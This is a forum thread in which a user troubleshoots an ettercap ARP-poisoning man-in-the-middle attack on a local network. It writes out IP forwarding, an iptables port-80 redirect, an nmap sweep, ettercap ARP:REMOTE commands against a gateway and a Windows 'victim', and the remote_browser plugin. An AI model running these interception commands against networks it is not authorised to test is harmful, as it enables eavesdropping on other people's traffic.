FATAL: MITM attacks can't be used on unconfigured interfaces
Hello everyone. (problem using ettercap) I have been up for hours trying to figure this one out but I'm stuck. I cannot find any solutions on the web.
This is what I did, and the results:
root@bt:~# nano /etc/etter.conf
(removed 2 # signs from iptables)
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~# iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080
root@bt:~# nmap -sP 192.168.1.1/24
(I am leaving out a long list of results here...)
root@bt:~# ettercap -i wlan0 -TqM ARP:REMOTE /192.168.1.1/ /192.168.1.46/
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on wlan0... (Ethernet)
wlan0 -> 00:C0:CA:4A:71:C6 invalid invalid
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Scanning for merged targets (2 hosts)...
* |================================================= =>| 100.00 %
0 hosts added to the hosts list...
FATAL: MITM attacks can't be used on unconfigured interfaces
root@bt:~#
Any ideas?
thanks :)
Re: FATAL: MITM attacks can't be used on unconfigured interfaces
Re: FATAL: MITM attacks can't be used on unconfigured interfaces
Apparently not.. I tried ifconfig and noticed that eth1 had more information attached to it than the others (HWaddr, inet addr, Bcast, Mask, inet6 addr) so I figured that must be configured.
I tried it.. and wallah! past one hurdle. Not sure if its working entirely yet but .. anyways. I found this: http://www.cyberciti.biz/faq/setting...terfaces-file/ is this how one would go about configuring an interface?
Re: FATAL: MITM attacks can't be used on unconfigured interfaces
I started getting
"iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded."
after running remote_browser and giving up because it was taking so long by pressing q.
So upon further reading I tried
"nano /etc/etter.conf" and changed ec_uid and ec_gid to 0.
I also added sudo
"echo 1 | sudo tee /proc/sys/net/ipv4//ip_forward"
I don't get a permission denied warning... Now it just hangs at
"Activating remote_browser plugin..."
I try surfing around on my other computer, and nothing is picked up... what am I missing here??
:)
Edit:
I think I figured out why "Activating Remote Browser" is hanging.. I changed this:
root@bt:~# ettercap -i wlan0 -TqM ARP:REMOTE /192.168.1.1/ /192.168.1.46/
to
root@bt:~# ettercap -i wlan0 -TqM ARP:REMOTE // // (forgot to mention that)
when I looked to see which 2 hosts I was getting it was 192.168.58.245 and 192.168.58.2
now the ipv4 of my windows computer I want to victimize is 192.168.58.46 and it simply isnt showing up. (although it does show up in the nmap)
How to fix this I haven't a clue